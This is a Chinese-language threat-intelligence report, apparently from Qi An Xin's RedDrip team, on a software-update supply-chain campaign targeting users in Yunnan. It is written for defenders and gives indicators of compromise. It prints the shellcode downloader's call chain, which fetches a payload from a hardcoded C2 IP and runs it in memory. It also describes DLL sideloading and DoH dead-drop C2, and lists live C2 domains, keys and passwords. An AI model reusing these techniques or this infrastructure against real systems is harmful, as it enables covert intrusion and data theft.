【原创】瞄准国内某西南省份:多款国产小型软件更新供应链攻击行动披露

· 2026-11-06 10:53 · 6 阅读

原创 红雨滴团队 2026-11-06 10:53 北京

恶意更新包校验受害者地理位置、定向云南省目标;DoH TXT 记录作死信箱下发 C2 配置,.NET 植入体插件化内存加载不落盘——投递机制、武器组件、C2 架构与同源判据完整披露。

【原创】供应链安全 · 威胁情报

瞄准国内某西南省份:
多款国产小型软件更新供应链行动披露

恶意更新包校验受害者地理位置、定向云南省目标;DoH TXT 记录作死信箱下发 C2 配置,.NET 植入体插件化内存加载不落盘——投递机制、武器组件、C2 架构与同源判据完整披露。

· 更新供应链投毒 · DoH 死信箱 · DLL 侧载 · 内存加载 · 2026.11

01 背景

近年来,攻击者将目光转向安全建设相对薄弱的国产小型软件供应链。这类软件多采用 HTTP 明文接口下发更新,且不校验更新包的数字签名,攻击者只要控制更新配置接口或劫持目标流量即可向终端用户推送恶意安装包。

2026 年 10 月底,奇安信威胁情报中心红雨滴团队通过私有情报 AI 生产流程,持续监控到一起大规模的国产软件更新供应链行动,恶意更新包会验证受害者地理位置,如果位于云南省则继续执行,否则退出。截止到目前为止观察到六个国产软件的更新渠道被劫持,涵盖加速器、财务软件、鼠标连点器、电商浏览器,还发现了木马化的某即时通讯客户端和被篡改的某系统管理工具。

该行动使用 DNS over HTTPS(DoH)TXT 记录作为死信箱下发 C2 配置,最终植入体采用插件化架构在内存中加载 .NET 程序集执行,不落盘。所有变体共享一个独特的命名管道后缀 MyControlPipeaaa,成为跨变体的稳定同源判据。本文对该行动的投递机制、武器组件、C2 通信架构和同源关系进行完整披露。

天擎“六合”高级威胁防御引擎已经可以对恶意更新包进行拦截:

图 1|天擎“六合”拦截图

02 供应链投毒入口

Inno Setup 恶意更新包

图 2|更新劫持与木马执行流程

攻击者拥有一套模板化的 Inno Setup 打包工具,只需输入目标软件的正版安装包与版本号,即可生成伪装成该软件更新包的恶意安装程序。展示其中三个恶意更新包:

伪装软件

Inno 描述

版本号

VT 检出

SHA-256

某鼠标连点器

Setup A

2.9.0.2

—

5fb8b88a...

某记账软件

Setup B

2.3.0.0

0/76

3330b75d...

某游戏加速器

Setup C

4.0.6.13

1/76

bd797390...

三个样本的沙箱行为均连接同一 C2 IP 107.173.84.53,依次请求 /information.php、/fjai87gajio.zip、/newxx_x64,共享同一 stage-2 ZIP 文件名和 stage-3 载荷名。其中两个样本的 PE 时间戳精确到秒一致(2026-08-10T09:40:38Z),imphash 一致,证明来自同一个编译产物。

这类小型国产软件多由个人开发者或小团队维护,用户量在数十万至百万级,安全建设基本空白。调查中发现,受影响软件的更新通道存在系统性安全缺陷,使得攻击者无需入侵开发者环境即可实施投毒:

  • 无传输加密:更新配置接口使用明文 HTTP,在网络链路上可被中间人篡改返回内容
  • 完整性校验无独立性:版本校验使用的 MD5 与下载地址在同一响应中下发,攻击者可同时替换二者
  • 无代码签名验证:下载的 EXE 直接执行,不校验 Authenticode 签名或开发者证书
  • 版本号触发无鉴权:攻击者只需设置高于受害主机当前版本的版本号,即可触发自动更新流程

这四项缺陷的组合意味着,攻击者一旦具备修改更新配置响应的能力(无论是入侵配置服务器、DNS 劫持还是中间人攻击),即可向全部用户静默推送任意恶意安装包。完整的更新劫持与木马执行流程见附图。

软件官网安装包供应链

攻击者通过替换官网安装包实现供应链攻击,这种手法相对来讲比较容易暴露,我们只在某办公软件上观察到这类事件:

字段名称

详细信息

Download URL

www.XXXXXX.com/xiazai/soft.html

Malware MD5

144bd9f3c9cf738c95ec16febac5f6aa

03 其他投递渠道(VT 扩线发现)

在 VT 全库以 MyControlPipeaaa 命名管道为关键词搜索,共命中 40 个相关文件。除上述 Inno Setup 家族外,还发现该攻击者同时经营另外两个投递渠道,此处仅作摘要:

渠道

目标

手法

关键特征

VT

PE .text 注入

某系统管理工具

在入口函数植入 5 字节 call → .text 尾部 shellcode,保留原 Microsoft 签名(checksum 失效)

WinInet → mp.mmca-cdn.com:443
UA curl/8.9.1

—

源码级木马化

某即时通讯客户端 216 MB

从开源项目添加后门模块后完整编译,VT 沙箱未触发后门行为

编译路径 C:\code\cc\TG\\
DoH 域名 tg002.mmp-gep.org
XOR 密钥 ask123321

0/70

这两个渠道与 Inno Setup 家族共享 mmca-cdn.com 注册域和 MyControlPipeaaa 命名管道后缀,但使用不同子域、不同 DoH 死信箱域名和不同加密方式。即时通讯变体的编译路径 C:\code\cc\TG\\ 中“cc”目录名暗示攻击者统一的 C2 工具开发环境。其 0/70 的检出率值得关注。

04 武器组件详析

白加黑组件——dsemanager.exe + atiadlxy.dll

Inno Setup 变体的 stage-2 载荷是一个加密 ZIP 包(口令 fjaikldmionkldfanl),含三个文件:

文件

大小

角色

dsemanager.exe

246,080

AMD 正版签名文件(白)

atiadlxy.dll

138,752

恶意侧载 DLL(黑),无导出,恶意代码在 DllMain

install.dat

891

shellcode 下载器

dsemanager.exe 是 AMD Display Session Manager 正版组件,带有效 Authenticode 签名。它在运行时按名 LoadLibrary 加载 AMD ADL 库 atiadlxy.dll,攻击者在同目录放置同名恶意 DLL 实现 DLL 搜索顺序劫持。该恶意 DLL 无任何导出函数,DllMain 在 LoadLibrary 时即执行。

ZIP 条目同时带 DOS 本地时间与 NTFS FILETIME,三条目一致的 +8h 偏移证明打包主机时区为 UTC+8。其中 atiadlxy.dll 的 PE 编译时间与 ZIP 内 mtime 仅差 0.3 秒,说明编译完毕后立即打包,是为此次投递现场编译的。

Shellcode 下载器——install.dat

install.dat 是一段 891 字节的纯内存下载器。无导入表,靠 PEB 遍历按哈希值动态解析 API。API 哈希算法种子为 0x14A1,使用 h = h * 0x21 + toupper(c) 的迭代公式,模块哈希与函数哈希相加作为最终查找值。其行为链为:

LoadLibraryA("wininet")

InternetOpenA(NULL, DIRECT, NULL, NULL, 0) // 不发 User-Agent

InternetConnectA(h, "107.173.84.53", 443, ...) // C2 IP 硬编码

HttpOpenRequestA(h, "GET", "/newxx_x64", ...) // stage-3 路径

InternetSetOptionA(h, SECURITY_FLAGS, 0x3380) // 显式关闭 TLS 证书校验

HttpSendRequestA

VirtualAlloc(NULL, 0x1400000, COMMIT|RESERVE, RWX) // 20 MiB 可执行缓冲

InternetReadFile(..., 512000, ...)

call rsi // 直接跳入缓冲区执行

全程不落盘,且在两处显式关闭了 TLS 证书校验(IGNORE_UNKNOWN_CA、IGNORE_CERT_CN_INVALID 等全部标志),不验证服务器身份。

四层解包与 RemoteExeLoader .NET 植入体

stage-3 载荷 newxx_x64 包含四层嵌套解包逻辑,最终释放一个 .NET 植入体:

层

算法

关键参数

第 1 层

滚动密钥 XOR

marker 0x43311116,key = ROR32(key,13) + 0x12D687

第 2 层

滚动密钥 XOR(不同常量)

marker 0x3E4F43B4,复合密钥更新函数

第 3 层

aPLib 变体解压

marker 0xB3D7E5AF,位极性反转,产出 196,392 字节

第 4 层

内嵌 .NET EXE

29,184 字节,RemoteExeLoader /  new-test-demo

三层外壳统一使用「标记搜索自定位 + 跳过 cmp 立即数 + [marker][key][len][data]」容器格式。解压器属 aPLib 家族但位极性与匹配编码均为变体,标准 aPLib 无法解压,需模拟执行原始代码。

DoH TXT 死信箱 C2 机制

该行动的最显著技术特征是使用 DNS over HTTPS 的 TXT 记录作为 C2 配置的死信箱通道。RemoteExeLoader 变体与即时通讯变体均采用此机制,但密钥材料与解密方式不同:

维度

RemoteExeLoader 变体

即时通讯变体

死信箱域名

m1m101010.fmcag.orgtg002.mmp-gep.org

DoH 解析器数

17 个

4 个

TXT 解密

AES-256-CBC(256 位密钥)

XOR(密钥 ask123321)

DoH 格式

Wire format(dns-message)

JSON format(dns-json)

中国 DNS 优先

是(218.30.118.6/223.5.5.5 排前)

是(dns.alidns.com/223.5.5.5 排前)

RemoteExeLoader 变体的完整解密链已验证:TXT 记录经 base64 解码后,前 16 字节为 IV,其余为 AES-256-CBC 密文(密钥 a7l1d9i8t9l7j7c1z9f8e8y5e0c5a6w6),解出 JSON 域名列表:

{

"img1001": ["img01.mmca-cdn.com"],

"img2001": ["img21.mmca-cdn.com"],

"img3001": ["img31.mmca-cdn.com"]

}

这些域名伪装为 CDN 图片节点,实际为业务 C2 服务器。植入体取 img1001 对应的域名作为主通道。查询时 TXT 记录存在,C2 基建仍在运营。

RemoteExeLoader 植入体详析

最终 .NET 植入体命名空间为 RemoteExeLoader,工程名 new-test-demo,无混淆。其核心能力包括:

  • 插件化架构

    从 C2 下载 .NET 程序集,经 base64 + AES-256-CBC 解密后通过 Assembly.Load 在内存中加载执行,不落盘,经过我们测试该特种木马拥有高达23个插件

  • 命名管道控制

    每个插件使用 <plugin_name>_MyControlPipeaaa 命名管道通信,支持停止命令

  • 主机指纹

    采集 WMI 硬件信息 + 物理 MAC(排除虚拟网卡)生成 SHA-256 GUID,落地两处互为备份

  • 回传加密

    AES-128-ECB,密钥 = MD5("history" + guid) 前 16 字符——防守方知道 guid 即可离线解密

  • 地域定向

    ip-api.com 查询受害机地理位置,校验「Yunnan」——明确针对云南省目标

  • 持久化

    计划任务「Dsemanager Update」,每 2 小时运行(PT2H)

  • 心跳

    15–30 分钟随机间隔

业务 C2 端点使用固定路径前缀 /wA8zS0xD8gT3-zzz/,固定口令参数 pass=xV6kE6cP。插件 URL 中的占位域名 ms.jsf.ink 在运行时被替换为实际 C2 域名。含 copyapp 或 appscreen 的插件在 STA 线程执行,指向剪贴板/屏幕捕获类功能。

05 同源分析

以下判据将四种投递机制关联为同一攻击者:

  • MyControlPipeaaa 命名管道后缀

    跨全部变体一致,VT 全库搜索仅命中本活动(40 个文件)

  • DoH TXT 死信箱架构

    相同的 /resolve?name=<domain>&type=TXT 模式

  • 中国境内 DNS 解析器优先

    两套配置都将阿里系解析器排在前列

  • mmca-cdn.com 域名共享

    Inno Setup 变体的 C2(img01/21/31)与 PE 注入变体的下载点(mp.)属同一注册域

  • 同一 C2 IP + 相同 URI 路径

    三个 Inno Setup 样本的沙箱行为均连接 107.173.84.53,依次请求相同路径

06 总结

该行动是一起针对多款中国国产小型软件更新通道的批量供应链投毒行动,具备以下特征:

  • 多投递机制并行

    以 Inno Setup 包装为主力,辅以 PE 注入和源码编译,至少三种手法并行

  • C2 通信隐蔽

    DoH TXT 死信箱下发域名配置,插件经 AES 加密内存加载,回传数据加密

  • 活跃运营

    stage-3 载荷持续更新,TXT 记录活跃,基建在维护中

  • 地域定向明确

    多层独立证据指向中国境内云南省目标

  • 能力盲区

    插件载荷未获取,窃密/横移/勒索的具体能力均在插件中,是当前最大的分析空白

建议立即回溯以下指标:计划任务名 Dsemanager Update、命名管道含 _MyControlPipeaaa、DNS 查询 *.fmcag.org / *.mmca-cdn.com / *.mmp-gep.org、以及 DoH 请求特征(非浏览器进程发起的 /dns-query?dns= 或 /resolve?name=)。

07 IOC

网络指标

类型

值

说明

IP

107.173.84.53

C2 服务器(HostPapa AS36352)

域名

m1m101010.fmcag.org

DoH TXT 死信箱(RemoteExeLoader)

域名

tg002.mmp-gep.org

DoH TXT 死信箱(即时通讯变体)

域名

img01.mmca-cdn.com

业务 C2(主通道)

域名

img21.mmca-cdn.com

业务 C2(备用)

域名

img31.mmca-cdn.com

业务 C2(备用)

域名

mp.mmca-cdn.com

注入变体下载点(Cloudflare)

域名

ms.jsf.ink

插件 URL 占位域名

URL

https://107.173.84.53/newxx_x64

stage-3 下载点

URL

https://107.173.84.53/fjai87gajio.zip

stage-2 ZIP

URL

https://107.173.84.53/information.php

回传端点

URL

mp.mmca-cdn.com:443/install_v.exe.shell

注入变体 stage-2

URI 路径

/wA8zS0xD8gT3-zzz/aaa_config_new.php

插件列表

URI 路径

/wA8zS0xD8gT3-zzz/aaa_getjson.php

结果回传

参数

pass=xV6kE6cP

固定口令

HTTP 头

Guid: <36 字符 GUID>

自定义头

UA

curl/8.9.1

注入变体 shellcode

UA

machineid/1.0

原生层

DoH

DNS txid 0x1234 + dns-message

RemoteExeLoader 特征

DoH

/resolve?name= + dns-json

即时通讯变体特征

主机指标

类型

值

计划任务

Dsemanager Update(每 2 小时)

互斥量

Global\EFC2C8B2-2F3E-4B11-B0F8-8A3D2C6C1236}

互斥量

Global\mutex_sharp

互斥量

Local\BAB14AD67B48FA47BEE5D3E6AEBD678E

(即时通讯变体)

命名管道

<plugin_name>_MyControlPipeaaa

命名管道

\.\pipe\newtg_MyControlPipeaaa

(即时通讯变体)

文件

C:\ProgramData\current_guid

文件

%LOCALAPPDATA%\Devinfo\setup\theuid

侧载组合

dsemanager.exe

(AMD 签名)+ atiadlxy.dll(未签名)

文件哈希

文件

SHA-256

atiadlxy.dll343eedba17f1151263bfd2a9ac79445b2b8eef92a4affa4de9b48ae9c96ec047
install.datce90561bd83fddf6f92856b6c10a9dfb53350f9370c45e39221823c51706dd66
fjai87gajio.zipcedfffb48db01b0b42433ccb8b893f6814396b0ea74392f35895cacb98f23ec3
newxx_x64

(11-05)

5275105352bae4fe09ad79e69b4377cc0d05505b8ce4ade897919ae25a6ccf84
newxx_x64

(10-31)

cb9bcaaf3224c7ee5ae45ca74aef7eb6cc1137dcdf054afffcae24557ceafc90
stage3_managed.exe5a885ea6867a0f01afd8b26e5793942644c05373bcaec0bc8b6be4512b23b0c6

即时通讯变体

31ae45a4994a7ca8e9749972c07f2909b3868ad49d67124223d3c743bddeed22

系统工具注入变体

6e022a08cce7c846501842a653df491500fe2dcd7501bfdcd23b8f1cf273af02

某记账软件安装包

3330b75d2d2c9e5764f99ebc70137d334875a3fba5baa9b6dc538162ab20375a

某游戏加速器安装包

bd797390557596b41ebd2c94d09e304c0b07261d561d0faefe756e75a68323d5

某软件更新包

73307f1af92cbdadb60fc57ab30fdbdf22d048178f178ddf38c7720ac06e3ac6

某软件更新包

5406bb5f525cfab8a07777de59b039dc7a568dc41efef738d66dafa7a153b745

某软件更新包

dbe8a49ad1abaacc8b5fe91a751517d9f7fd737ba86b020c5764aa2b823c36c9

某软件更新包

14bf8751d6b2146e8df0fcfe008d055565538ad2727290a3413c95d401ffb09e

某软件更新包

ab978fcbf9009ade4ec654e335be23e09a9e741d98c9740da7b49993cf11bd21

密钥材料与代码级指纹

用途

值

ZIP 口令

fjaikldmionkldfanl

AES-256-CBC(DoH TXT)

a7l1d9i8t9l7j7c1z9f8e8y5e0c5a6w6

AES-256-CBC(插件)

121d74d6eebea45857083a38904bdefb

AES-128-ECB(回传)

MD5("history" + guid)[:16]

XOR(即时通讯变体 TXT)

ask123321

JSON 键

img1001

程序集 GUID

e3a5653c-7e89-421c-af33-ec277c8aa6c7

命名空间

RemoteExeLoader

工程名

new-test-demo

API 哈希

种子 0x14A1,h = h*0x21 + toupper(c),模块+函数相加

第 1 层 marker

0x43311116

第 2 层 marker

0x3E4F43B4

第 3 层 marker

0xB3D7E5AF

阅读原文

跳转微信打开

本文转载自微信公众号「奇安信威胁情报中心」,查看原文。版权归原作者所有,如有侵权请联系删除。